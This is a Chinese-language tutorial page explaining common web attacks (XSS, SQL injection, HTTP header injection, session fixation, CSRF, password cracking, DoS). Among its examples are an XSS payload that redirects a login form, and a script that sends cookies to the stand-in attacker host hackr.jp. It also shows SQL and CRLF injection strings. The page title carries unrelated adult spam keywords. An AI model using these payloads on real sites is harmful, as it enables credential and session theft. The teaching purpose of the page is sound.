狠狠色丁香婷婷综合尤物/久久精品综合一区二区三区/中国有色金属学报/国产日韩欧美在线观看 - 国产一区二区三区四区五区tv

LOGO OA教程 ERP教程 模切知識交流 PMS教程 CRM教程 開發文檔 其他文檔  
 
網站管理員

常見的Web攻擊技術及防范方法

admin
2023年10月30日 10:45 本文熱度 736


前言

互聯網上的攻擊大都將 Web 站點作為目標。 本章講解具體有哪些攻擊 Web 站點的手段, 以及攻擊會造成怎樣的影響

簡單的 HTTP 協議本身并不存在安全性問題, 因此協議本身幾乎不會成為攻擊的對象。 應用 HTTP 協議的服務器和客戶端, 以及運行在服務器上的 Web 應用等資源才是攻擊目標。

HTTP 不具備必要的安全功能

  • 與最初的設計相比, 現今的 Web 網站應用的 HTTP 協議的使用方式已發生了翻天覆地的變化。 幾乎現今所有的 Web 網站都會使用會話(session) 管理、 加密處理等安全性方面的功能, 而 HTTP 協議內并不具備這些功能。

  • 從整體上看, HTTP 就是一個通用的單純協議機制。 因此它具備較多優勢, 但是在安全性方面則呈劣勢。

    • 就拿遠程登錄時會用到的 SSH 協議來說, SSH 具備協議級別的認證及會話管理等功能, HTTP 協議則沒有。 另外在架設 SSH 服務方面,任何人都可以輕易地創建安全等級高的服務, 而 HTTP 即使已架設好服務器, 但若想提供服務器基礎上的 Web 應用, 很多情況下都需要重新開發。

    • 因此, 開發者需要自行設計并開發認證及會話管理功能來滿足 Web應用的安全。 而自行設計就意味著會出現各種形形色色的實現。 結果, 安全等級并不完備, 可仍在運作的 Web 應用背后卻隱藏著各種容易被攻擊者濫用的安全漏洞的 Bug。

在客戶端即可篡改請求

  • 在 Web 應用中, 從瀏覽器那接收到的 HTTP 請求的全部內容, 都可以在客戶端自由地變更、 篡改。 所以 Web 應用可能會接收到與預期數據不相同的內容。

  • 在 HTTP 請求報文內加載攻擊代碼, 就能發起對 Web 應用的攻擊。通過 URL查詢字段或表單、 HTTP 首部、 Cookie 等途徑把攻擊代碼傳入, 若這時 Web 應用存在安全漏洞, 那內部信息就會遭到竊取, 或被攻擊者拿到管理權限

針對 Web 應用的攻擊模式

對 Web 應用的攻擊模式有以下兩種。

  • 主動攻擊

  • 被動攻擊

以服務器為目標的主動攻擊

主動攻擊(active attack) 是指攻擊者通過直接訪問 Web 應用,把攻擊代碼傳入的攻擊模式。 由于該模式是直接針對服務器上的資源進行攻擊, 因此攻擊者需要能夠訪問到那些資源。

  • 主動攻擊模式里具有代表性的攻擊是 SQL注入攻擊和 OS 命令注入攻擊

以服務器為目標的被動攻擊
被動攻擊(passive attack) 是指利用圈套策略執行攻擊代碼的攻擊模式。 在被動攻擊過程中, 攻擊者不直接對目標 Web 應用訪問發起攻擊。
被動攻擊通常的攻擊模式如下所示。

  • 步驟 1: 攻擊者誘使用戶觸發已設置好的陷阱, 而陷阱會啟動發送已嵌入攻擊代碼的 HTTP 請求。

  • 步驟 2: 當用戶不知不覺中招之后, 用戶的瀏覽器或郵件客戶端就會觸發這個陷阱。

  • 步驟 3: 中招后的用戶瀏覽器會把含有攻擊代碼的 HTTP 請求發送給作為攻擊目標的 Web 應用, 運行攻擊代碼。

  • 步驟 4: 執行完攻擊代碼, 存在安全漏洞的 Web 應用會成為攻擊者的跳板, 可能導致用戶所持的 Cookie 等個人信息被竊取,登錄狀態中的用戶權限遭惡意濫用等后果。

被動攻擊模式中具有代表性的攻擊是跨站腳本攻擊和跨站點請求偽造。

  • 企業內網攻破

因輸出值轉義不完全引發的安全漏洞

實施 Web 應用的安全對策可大致分為以下兩部分。客戶端的驗證 Web 應用端( 服務器端) 的驗證輸入值驗證輸出值轉義

  • 多數情況下采用 Javascript 在客戶端驗證數據。 可是在客戶端允許篡改數據或關閉 Javascript, 不適合將 Javascript 驗證作為安全的防范對策。 保留客戶端驗證只是為了盡早地辨識輸入錯誤, 起到提高 UI體驗的作用。

  • Web 應用端的輸入值驗證按 Web 應用內的處理則有可能被誤認為是具有攻擊性意義的代碼。 輸入值驗證通常是指檢查是否是符合系統業務邏輯的數值或檢查字符編碼等預防對策。

  • 從數據庫或文件系統、 HTML、 郵件等輸出 Web 應用處理的數據之際, 針對輸出做值轉義處理是一項至關重要的安全策略。 當輸出值轉義不完全時, 會因觸發攻擊者傳入的攻擊代碼, 而給輸出對象帶來損害。

跨站腳本攻擊XSS

跨站腳本攻擊(Cross-Site scripting, XSS) 是指通過存在安全漏洞的Web 網站注冊用戶的瀏覽器內運行非法的 HTML標簽或 Javascript 進行的一種攻擊。 動態創建的 HTML部分有可能隱藏著安全漏洞。 就這樣, 攻擊者編寫腳本設下陷阱, 用戶在自己的瀏覽器上運行時, 一不小心就會受到被動攻擊。
跨站腳本攻擊有可能造成以下影響。

  • 利用虛假輸入表單騙取用戶個人信息。

  • 利用腳本竊取用戶的 Cookie 值, 被害者在不知情的情況下,幫助攻擊者發送惡意請求。

  • 顯示偽造的文章或圖片。

XSS實例

初始XSS

此時的確認界面上, 瀏覽器會把用戶輸入的 <s> 解析成 HTML標簽, 然后顯示刪除線。

  • 刪除線顯示出來并不會造成太大的不利后果, 但如果換成使用script 標簽將會如何呢。

  • XSS 是攻擊者利用預先設置的陷阱觸發的被動攻擊跨站腳本攻擊屬于被動攻擊模式, 因此攻擊者會事先布置好用于攻擊的陷阱

嚴重的例子——盜取用戶個人信息

網站通過地址欄中 URI 的查詢字段指定 ID, 即相當于在表單內自動填寫字符串的功能。 而就在這個地方, 隱藏著可執行跨站腳本攻擊的漏洞。

對請求時對應的HTML源代碼(摘錄)

<div class="logo"><img src="/img/logo.gif" alt="E! 拍賣會" /></div>
<form action="http://example.jp/login" method="post" id="login">
<div class="input_id"> ID <input type="text" name="ID" value="yama" />
</div>

充分熟知此處漏洞特點的攻擊者, 于是就創建了下面這段嵌入惡意代碼的 URL。 并隱藏植入事先準備好的欺詐郵件中或 Web 頁面內, 誘使用戶去點擊該 URL。

http://example.jp/login?ID= "> <script> var +f=document.getElementById("login"); +f.action="http://hackr.jp/pwget;  f.method="get"; </script> <span+s="
<div class="logo"><img src="/img/logo.gif" alt="E! 拍賣會 /></div>
<form action="http://example.jp/login" method="post" id="login">
<div class="input_id"> ID <input type="text" name="ID" value=" "> <script> var f=document.getElementById("login"); f.action="http://hackr.jp/pwget;  f.method="get"; </script> <span s=" "/>
</div>

瀏覽器打開該 URI 后, 直觀感覺沒有發生任何變化, 但設置好的腳本卻偷偷開始運行了。 當用戶在表單內輸入 ID 和密碼之后,就會直接發送到攻擊者的網站(也就是 hackr.jp) , 導致個人登錄信息被竊取

對用戶 Cookie 的竊取攻擊

除了在表單中設下圈套之外, 下面那種惡意構造的腳本同樣能夠以跨站腳本攻擊的方式, 竊取到用戶的 Cookie 信息。

<script src=http://hackr.jp/xss.js></script>

該腳本內指定的 http://hackr.jp/xss.js 文件。 即下面這段采用Javascript 編寫的代碼。

var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content);document.write(">");

在存在可跨站腳本攻擊安全漏洞的 Web 應用上執行上面這段Javascript 程序, 即可訪問到該 Web 應用所處域名下的 Cookie 信息。 然 后這些信息會發送至攻擊者的 Web 網站(http://hackr.jp/) , 記錄在他的登錄日志中。 結果, 攻擊者就這樣竊取到用戶的 Cookie 信息了。

SQL 注入攻擊

SQL注入(SQL Injection) 是指針對 Web 應用使用的數據庫, 通過運行非法的 SQL而產生的攻擊。 該安全隱患有可能引發極大的威脅, 有時會直接導致個人信息及機密信息的泄露。
Web 應用通常都會用到數據庫, 當需要對數據庫表內的數據進行檢索或添加、 刪除等操作時, 會使用 SQL語句連接數據庫進行特定的操作。 如果在調用 SQL語句的方式上存在疏漏, 就有可能執行被惡意注入(Injection) 非法 SQL語句。

SQL注入攻擊有可能會造成以下等影響

  • 非法查看或篡改數據庫內的數據

  • 規避認證

  • 執行和數據庫服務器業務關聯的程序等

實例

  • 我們要進行搜索關于上野宣相關的數據,并且是滿足可以銷售的

    • select * from bookTbl where author = ‘上野宣’ and flag = 1 用這句SQL搜索出對對應的數據

  • 但是如果對SQL語句做手腳,也就是對q進行做手腳 q=上野宣’ - - ,如果不做處理,后端對應的SQL語句為

    • select * from bookTbl where author =‘上野宣’ - -’ and flag=1;

    • SQL語句中的 – 之后全視為注釋。 即, and flag=1 這個條件被自動忽略了。 也就會顯示那些不可銷售的書籍

本案例中的問題僅僅是把未出版書籍的條目也一同顯示出來了。但實際發生 SQL注入攻擊時, 很有可能會導致用戶信息或結算內容等其他數據表的非法瀏覽及篡改, 從而使用戶遭受不同程度的損失。

HTTP 首部注入攻擊

HTTP 首部注入攻擊(HTTP Header Injection) 是指攻擊者通過在響應首部字段內插入換行, 添加任意響應首部或主體的一種攻擊。 屬于被動攻擊模式。向首部主體內添加內容的攻擊稱為 HTTP 響應截斷攻擊(HTTPResponse Splitting Attack) 。
如下所示, Web 應用有時會把從外部接收到的數值, 賦給響應首部字段 Location 和 Set-Cookie。

  • Location: http://www.example.com/a.cgi?q=12345

  • Set-Cookie: UID=12345

HTTP 首部注入可能像這樣, 通過在某些響應首部字段需要處理輸出值的地方, 插入換行發動攻擊。

HTTP 首部注入攻擊有可能會造成以下一些影響。

  • 設置任何 Cookie 信息

  • 重定向至任意 URL

  • 顯示任意的主體( HTTP 響應截斷攻擊)

HTTP 首部注入攻擊案例

  • 下面我們以選定某個類別后即可跳轉至各類別對應頁面的功能為

  • 講解 HTTP 首部注入攻擊。 該功能為每個類別都設定了一個類別 ID 值, 一旦選定某類別, 就會將該 ID 值反映在響應內的Location 首部字段內, 形如 Location: http://example.com/?cat=101。 令瀏覽器發生重定向跳轉。

攻擊者以下面的內容替代之前的類別 ID 后發送請求。

  • 101%0D%0ASet-Cookie:+SID=123456789

    • 其中, %0D%0A 代表 HTTP 報文中的換行符, 緊接著的是可強制將攻擊者網站(http://hackr.jp/) 的會話 ID 設置成SID=123456789 的 Set-Cookie 首部字段。

  • 發送該請求之后, 假設結果返回以下響應。

- Location: http://example.com/?cat=101(%0D%0A : 換行符)
- Set-Cookie: SID=123456789

此刻, 首部字段 Set-Cookie 已生效, 因此攻擊者可指定修改任意的 Cookie 信息。 通過和會話固定攻擊(攻擊者可使用指定的會話 ID) 攻擊組合, 攻擊者可偽裝成用戶。攻擊者輸入的 %0D%0A, 原本應該屬于首部字段 Location 的查詢值部分, 但經過解析后, %0D%0A 變成了換行符, 結果插入了新的首部字段。這樣一來, 攻擊者可在響應中插入任意的首部字段。

HTTP 響應截斷攻擊

HTTP 響應截斷攻擊是用在 HTTP 首部注入的一種攻擊。 攻擊順序相同, 但是要將兩個 %0D%0A%0D%0A 并排插入字符串后發送。 利用這兩個連續的換行就可作出 HTTP 首部與主體分隔所需的空行了, 這樣就能顯示偽造的主體, 達到攻擊目的。 這樣的攻擊叫做 HTTP 響應截斷攻擊。

  • %0D%0A%0D%0A <HTML><HEAD><TITLE>之后, 想要顯示的網頁內容

  • 在可能進行 HTTP 首部注入的環節, 通過發送上面的字符串, 返回結果得到以下這種響應。

- Set-Cookie: UID=(%0D%0A : 換行符)
- (%0D%0A : 換行符)
- <HTML><HEAD><TITLE>之后, 想要顯示的網頁內容 <!--(原來頁面對應的首部字
  • 利用這個攻擊, 已觸發陷阱的用戶瀏覽器會顯示偽造的 Web 頁面, 再讓用戶輸入自己的個人信息等, 可達到和跨站腳本攻擊相同的效果。

  • 另外, 濫用 HTTP/1.1 中匯集多響應返回功能, 會導致緩存服務器對任意內容進行緩存操作。 這種攻擊稱為緩存污染。 使用該緩存服務器的用戶, 在瀏覽遭受攻擊的網站時, 會不斷地瀏覽被替換掉的 Web 網頁。

因會話管理疏忽引發的安全漏洞

會話劫持

會話劫持(Session Hijack) 是指攻擊者通過某種手段拿到了用戶的會話 ID, 并非法使用此會話 ID 偽裝成用戶, 達到攻擊的目的


具備認證功能的 Web 應用, 使用會話 ID 的會話管理機制, 作為管理認證狀態的主流方式。 會話 ID 中記錄客戶端的 Cookie 等信息, 服務器端將會話 ID 與認證狀態進行一對一匹配管理。
下面列舉了幾種攻擊者可獲得會話 ID 的途徑。

  • 通過非正規的生成方法推測會話 ID

  • 通過竊聽或 XSS 攻擊盜取會話 ID

  • 通過會話固定攻擊( Session Fixation) 強行獲取會話 ID

會話劫持攻擊案例

我們以認證功能為例講解會話劫持。 這里的認證功能通過會話管理機制, 會將成功認證的用戶的會話 ID(SID) 保存在用戶瀏覽器的 Cookie 中。

  • 攻擊者在得知該 Web 網站存在可跨站攻擊(XSS) 的安全漏洞后, 就設置好用 Javascript 腳本調用 document.cookie 以竊取Cookie 信息的陷阱, 一旦用戶踏入陷阱(訪問了該腳本) , 攻擊者就能獲取含有會話 ID 的 Cookie。

  • 攻擊者拿到用戶的會話 ID 后, 往自己的瀏覽器的 Cookie 中設置該會話 ID, 即可偽裝成會話 ID 遭竊的用戶, 訪問 Web 網站了。

會話固定攻擊

對以竊取目標會話 ID 為主動攻擊手段的會話劫持而言, 會話固定攻擊(Session Fixation) 攻擊會強制用戶使用攻擊者指定的會話 ID, 屬于被動攻擊。

會話固定攻擊案例
這個 Web 網站的認證功能, 會在認證前發布一個會話 ID, 若認證成功, 就會在服務器內改變認證狀態。

  • 攻擊者準備陷阱, 先訪問 Web 網站拿到會話ID(SID=f5d1278e8109) 。 此刻, 會話 ID 在服務器上的記錄仍是(未認證) 狀態。 (步驟① ~ ②)

  • 攻擊者設置好強制用戶使用該會話 ID 的陷阱, 并等待用戶拿著這個會話 ID 前去認證。 一旦用戶觸發陷阱并完成認證, 會話ID(SID=f5d1278e8109) 在服務器上的狀態(用戶 A 已認證) 就會被記錄下來。 (步驟③)

  • 攻擊者估計用戶差不多已觸發陷阱后, 再利用之前這個會話 ID訪問網站。 由于該會話 ID 目前已是(用戶 A 已認證) 狀態, 于是攻擊者作為用戶 A 的身份順利登錄網站。 (步驟④)

Session Adoption

  • Session Adoption 是指 PHP 或 ASP.NET 能夠接收處理未知會話 ID的功能。惡意使用該功能便可跳過會話固定攻擊的準備階段, 從 Web 網站 獲得發行的會話 ID 的步驟。 即, 攻擊者可私自創建會話 ID構成陷阱, 中間件卻會誤以為該會話 ID 是未知會話 ID 而接受。

跨站點請求偽造CSRF

跨站點請求偽造(Cross-Site Request Forgeries, CSRF) 攻擊是指攻擊者通過設置好的陷阱, 強制對已完成認證的用戶進行非預期的個人信息或設定信息等某些狀態更新, 屬于被動攻擊。
跨站點請求偽造有可能會造成以下等影響。

  • 利用已通過認證的用戶權限更新設定信息等

  • 利用已通過認證的用戶權限購買商品

  • 利用已通過認證的用戶權限在留言板上發表言論

跨站點請求偽造的攻擊案例

下面以留言板功能為例, 講解跨站點請求偽造。 該功能只允許已認證并登錄的用戶在留言板上發表內容。

  • 在該留言板系統上, 受害者用戶 A 是已認證狀態。 它的瀏覽器中的 Cookie 持有已認證的會話 ID(步驟①) 。

  • 攻擊者設置好一旦用戶訪問, 即會發送在留言板上發表非主觀行為產生的評論的請求的陷阱。 用戶 A 的瀏覽器執行完陷阱中的請求后, 留言板上也就會留下那條評論(步驟②) 。

  • 觸發陷阱之際, 如果用戶 A 尚未通過認證, 則無法利用用戶 A的身份權限在留言板上發表內容

其他安全漏洞

密碼破解

密碼破解攻擊(Password Cracking) 即算出密碼, 突破認證。 攻擊不僅限于 Web 應用, 還包括其他的系統(如 FTP 或 SSH 等) , 本節將會講解對具備認證功能的 Web 應用進行的密碼破解。
密碼破解有以下兩種手段。

  • 通過網絡的密碼試錯

  • 對已加密密碼的破解( 指攻擊者入侵系統, 已獲得加密或散列處理的密碼數據的情況)

  • 除去突破認證的攻擊手段, 還有 SQL注入攻擊逃避認證, 跨站腳本攻擊竊取密碼信息等方法。

通過網絡進行密碼試錯

對 Web 應用提供的認證功能, 通過網絡嘗試候選密碼進行的一種攻擊。 主要有以下兩種方式。

  • 窮舉法

  • 字典攻擊

窮舉法

  • 窮舉法(Brute-force Attack, 又稱暴力破解法) 是指對所有密鑰集合構成的密鑰空間(Keyspace) 進行窮舉。 即, 用所有可行的候選密碼對目標的密碼系統試錯, 用以突破驗證的一種攻擊。

    • 比如銀行采用的個人識別碼是由“4 位數字”組成的密碼, 那么就要從 0000~9999 中的全部數字逐個進行嘗試。 這樣一來, 必定在候選的密碼集合中存在一個正確的密碼, 可通過認證。

  • 因為窮舉法會嘗試所有的候選密碼, 所以是一種必然能夠破解密碼的攻擊。 但是, 當密鑰空間很龐大時, 解密可能需要花費數年, 甚至千年的時間, 因此從現實角度考量, 攻擊是失敗的。

字典攻擊

  • 字典攻擊是指利用事先收集好的候選密碼(經過各種組合方式后存入字典) , 枚舉字典中的密碼, 嘗試通過認證的一種攻擊手法。

    • 還是舉銀行采用個人識別碼是“4 位數字”的密碼的例子, 考慮到用戶使用自己的生日做密碼的可能性較高, 于是就可以把生日日期數值化, 如將 0101~1231 保存成字典, 進行嘗試。

  • 與窮舉法相比, 由于需要嘗試的候選密碼較少, 意味著攻擊耗費的時間比較短。 但是, 如果字典中沒有正確的密碼, 那就無法破解成功。 因此攻擊的成敗取決于字典的內容。

利用別處泄露的 ID·密碼進行攻擊字典攻擊中有一種利用其他 Web 網站已泄露的 ID 及密碼列表進行的攻擊。 很多用戶習慣隨意地在多個 Web 網站使用同一套 ID 及密碼, 因此攻擊會有相當高的成功幾率

對已加密密碼的破解

Web 應用在保存密碼時, 一般不會直接以明文的方式保存, 通過散列函數做散列處理或加 salt 的手段對要保存的密碼本身加密。那即使攻擊者使用某些手段竊取密碼數據, 如果想要真正使用這些密碼, 則必須先通過解碼等手段, 把加密處理的密碼還原成明文形式。


從加密過的數據中導出明文通常有以下幾種方法。

  • 通過窮舉法·字典攻擊進行類推

  • 彩虹表

  • 拿到密鑰

  • 加密算法的漏洞

通過窮舉法·字典攻擊進行類推

  • 針對密碼使用散列函數進行加密處理的情況, 采用和窮舉法或字典攻擊相同的手法, 嘗試調用相同的散列函數加密候選密碼, 然后把計算出的散列值與目標散列值匹配, 類推出密碼。

彩虹表
彩虹表(Rainbow Table) 是由明文密碼及與之對應的散列值構成的一張數據庫表, 是一種通過事先制作龐大的彩虹表, 可在窮舉法 • 字典攻擊等實際破解過程中縮短消耗時間的技巧。 從彩虹表內搜索散列值就可以推導出對應的明文密碼

拿到密鑰
使用共享密鑰加密方式對密碼數據進行加密處理的情況下, 如果能通過某種手段拿到加密使用的密鑰, 也就可以對密碼數據解密了。
加密算法的漏洞
考慮到加密算法本身可能存在的漏洞, 利用該漏洞嘗試解密也是一種可行的方法。 但是要找到那些已廣泛使用的加密算法的漏洞, 又談何容易, 因此困難極大, 不易成功。而 Web 應用開發者獨立實現的加密算法, 想必尚未經過充分的驗證, 還是很有可能存在漏洞的

DoS 攻擊

DoS 攻擊(Denial of Service attack) 是一種讓運行中的服務呈停止狀態的攻擊。 有時也叫做服務停止攻擊或拒絕服務攻擊。 DoS 攻擊的對象不僅限于 Web 網站, 還包括網絡設備及服務器等。
主要有以下兩種 DoS 攻擊方式。

  • 集中利用訪問請求造成資源過載, 資源用盡的同時, 實際上服務也就呈停止狀態。

  • 通過攻擊安全漏洞使服務停止。

其中, 集中利用訪問請求的 DoS 攻擊, 單純來講就是發送大量的合法請求。 服務器很難分辨何為正常請求, 何為攻擊請求, 因此很難防止 DoS 攻擊。

  • 多臺計算機發起的 DoS 攻擊稱為 DDoS 攻擊(Distributed Denial ofService attack) 。 DDoS 攻擊通常利用那些感染病毒的計算機作為攻擊者的攻擊跳板。


該文章在 2023/10/30 10:52:38 編輯過
關鍵字查詢
相關文章
正在查詢...
點晴ERP是一款針對中小制造業的專業生產管理軟件系統,系統成熟度和易用性得到了國內大量中小企業的青睞。
點晴PMS碼頭管理系統主要針對港口碼頭集裝箱與散貨日常運作、調度、堆場、車隊、財務費用、相關報表等業務管理,結合碼頭的業務特點,圍繞調度、堆場作業而開發的。集技術的先進性、管理的有效性于一體,是物流碼頭及其他港口類企業的高效ERP管理信息系統。
點晴WMS倉儲管理系統提供了貨物產品管理,銷售管理,采購管理,倉儲管理,倉庫管理,保質期管理,貨位管理,庫位管理,生產管理,WMS管理系統,標簽打印,條形碼,二維碼管理,批號管理軟件。
點晴免費OA是一款軟件和通用服務都免費,不限功能、不限時間、不限用戶的免費OA協同辦公管理系統。
Copyright 2010-2025 ClickSun All Rights Reserved